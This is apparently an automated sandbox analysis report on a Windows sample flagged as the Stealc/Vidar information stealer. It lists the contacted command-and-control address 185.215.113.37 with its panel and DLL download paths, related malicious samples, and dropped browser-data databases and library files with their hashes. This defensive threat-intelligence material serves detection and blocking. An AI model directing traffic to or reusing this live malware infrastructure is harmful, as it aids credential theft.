http://185.215.113.37.com	file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phppe	file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpf	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpj	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2297152055.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2283883738.000000001D445000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37id	file.exe, 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2297499720.000000006C6CD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpV	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllAEHJJKEGDGHCGDAEG	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll~	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpX	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpB	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dlll	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php:	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	false	URL Reputation: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false	URL Reputation: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false		unknown
http://185.215.113.37/5	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	FBKKFBAEGDHJJJJKFBKFHCAFCB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php&	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll3	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1529359
Start date and time:	2024-10-08 22:31:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	SecuriteInfo.com.Trojan.DownLoader47.43477.29852.19410.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	15PylGQjzK.exe	Get hash	malicious	LummaC, Vidar	Browse
	Ji7kZhlqxz.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Clipboard Hijacker, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\DBGHJEBKJEGHJKECAAKJKEGIIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBKECAKFBGCAKECGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBKKFBAEGDHJJJJKFBKFHCAFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHDBKJKJKKJDGDGDGIDG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIDHIEGIIIECAKEBFBAA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJJKJJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IECFBKFHCAEHJJKEGDGHCGDAEG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKJDAEB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.DownLoader47.43477.29852.19410.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 15PylGQjzK.exe, Detection: malicious, Browse Filename: Ji7kZhlqxz.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
